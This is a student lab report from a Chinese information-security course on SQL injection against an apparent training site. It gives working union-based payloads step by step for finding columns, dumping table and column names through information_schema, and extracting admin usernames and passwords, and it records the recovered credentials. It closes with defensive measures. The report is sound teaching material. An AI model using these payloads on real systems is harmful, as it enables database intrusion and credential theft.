**《信息安全概论》实验报告**

|  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- |
| **姓名** | | 谭星 | | **年级** | | 2019级 |
| **学号** | | 20191584 | | **专业、班级** | | 计算机科学与技术卓越01班 |
| **实验名称** | 实验四 SQL注入实验 | | | | | |
| **实验时间** | 2022.5.17 | | **实验地点** | | DS3402 | |
| **实验成绩** |  | | **实验性质** | | **□验证性 □设计性 综合性** | |
| 教师评价：  □算法/实验过程正确； □源程序/实验内容提交 □程序结构/实验步骤合理；  □实验结果正确； □语法、语义正确； □报告规范；  评语：  评价教师签名（电子签名）： | | | | | | |
| 一、实验目的   1. 学习并掌握SQL注入的基本原理和方法 2. 学习SQL注入的防范措施 | | | | | | |
| 二、实验项目内容   1. 检索SQL注入相关资料，自学SQL注入基本方法 2. 对<http://rhiq8003.ia.aqlab.cn/>网站进行SQL注入，完成以下信息的获取：  * 数据库名称 * 数据库中的所有表的名称 * 每个表中的字段数量以及字段名 * 管理员用户密码  1. 最后总结如何对SQL注入攻击进行防范。 | | | | | | |
| 三、实验设计  任何SQL是操作数据库数据的结构化查询语言，网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入是将Web页面的原URL、表单域或数据包输入的参数，修改拼接成SQL语句，传递给Web服务器，进而传给数据库服务器以执行数据库命令。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库，就可能导致拼接的SQL被执行，获取对数据库的信息以及提权，发生SQL注入攻击。 | | | | | | |
| 四、实验过程或算法  进入网站后，点击下方的“点击查看新闻1”，界面发生跳转，此时URL变为<http://rhiq8003.ia.aqlab.cn/?id=1>。尝试更改URL为<http://rhiq8003.ia.aqlab.cn/?id=1 and 1=2>，此时网页返回内容出错，只显示底部内容且无法滑动，如下图所示，因此可判断此网页存在SQL注入。    接着在URL后尝试添加id=2和id=3，网页分别跳转到相应界面（如下图所示），当id=4时，网页出错，可推断数据表中暂时存在三行数据，id为行索引。      接下来使用order by指令尝试获取数据库的字段数。在URL后添加id = 1 order by 1和id = 1 order by 2，此时页面均有内容显示。当order by 3时页面没有内容，故判断该数据表仅两个字段。  然后判断回显点，在URL后添加id=5 union select 1,2，由于此前判断出数据表中没有id=5的数据，故第一个select返回的数据为空，这样才能使第二个select返回的数据成功显示。经测试，页面上出现了数字2，即回显点。找到回显字段后，就可以把要查询的SQL语句写在该位置，相应的结果也会输出在页面上。    通过在URL后添加id=5 union select 1,database()，即返回当前数据库名，并通过回显点显示，此时页面输出maoshe，即当前数据库名称为maoshe。    通过在URL后添加id=5 union select 1,(select group\_concat(table\_name) from information\_schema.tables where table\_schema=database())来获取数据表名（也可用'maoshe'来代替database()）。其中，information\_schema是mysql自带的库，记录了该数据库所有的表名和字段名，该句的含义为：查找数据库中maoshe库下的所有表名，group\_concat() 将所有内容写入一行并输出。由下图可知，共四个数据表。    通过在URL后添加id=5 union select 1,(select group\_concat(column\_name) from information\_schema.columns where table\_schema=database() and table\_name='xxx')来获取各数据表中的字段名，添加id=5 union select 1,(select count(column\_name) from information\_schema.columns where table\_schema=database() and table\_name='xxx')来查询字段数量，其中xxx用数据表名字代替。下图为查询admin表的字段名和字段数量的结果。      通过在URL后添加id=5 union select 1,(select group\_concat(username) from admin)来查询admin表中的所有管理员，添加id=5 union select 1,(select group\_concat(password) from admin)来查询管理员密码，查询到的用户名和密码如下图所示。 | | | | | | |
| 五、实验过程中遇到的问题及解决情况  在实验前对SQL注入攻击的具体操作流程不够清晰，在查阅资料后我了解到如何判断字段数、回显点等操作。在此基础上，我才能对实验要求的各项数据通过SQL注入攻击进行查询。 | | | | | | |
| 六、实验结果及分析和（或）源程序调试过程  1. SQL注入攻击结果  （1） 数据库名称：maoshe  （2） 数据库中的所有表的名称：admin，dirs，news，xss  （3） 每个表中的字段数量以及字段名   |  |  |  |  |  |  | | --- | --- | --- | --- | --- | --- | | 数据表名 | 字段名 | | | | 字段数量 | | admin | id | username | | password | 3 | | dirs | paths | | | | 1 | | news | id | | content | | 2 | | xss | id | user | | pass | 3 |   （4） 管理员用户密码   |  |  | | --- | --- | | 管理员用户 | 管理员密码 | | admin | hellohack | | ppt领取微信 | zkaqbanban |   2. 防范SQL攻击  因为SQL注入攻击针对的是应用开发过程中的编程缺陷，所以对于绝大多数安全设施来讲这种攻击是“合法”的。故解决SQL注入攻击的方法只有依赖于编程过程中的严格设计和仔细检查来实现。例如：  （1） 对输入进行严格的转义和过滤。  （2） 严格规定数据长度，能在一定程度上防止比较长的SQL注入语句无法正确执行。  （3） 严格限制网站用户的数据库的操作权限，给此用户提供仅仅能够满足其工作的权限，从而最大限度的减少注入攻击对数据库的危害。  （4） 避免网站显示SQL错误信息，比如类型错误、字段不匹配等，防止攻击者利用这些错误信息进行一些判断。 | | | | | | |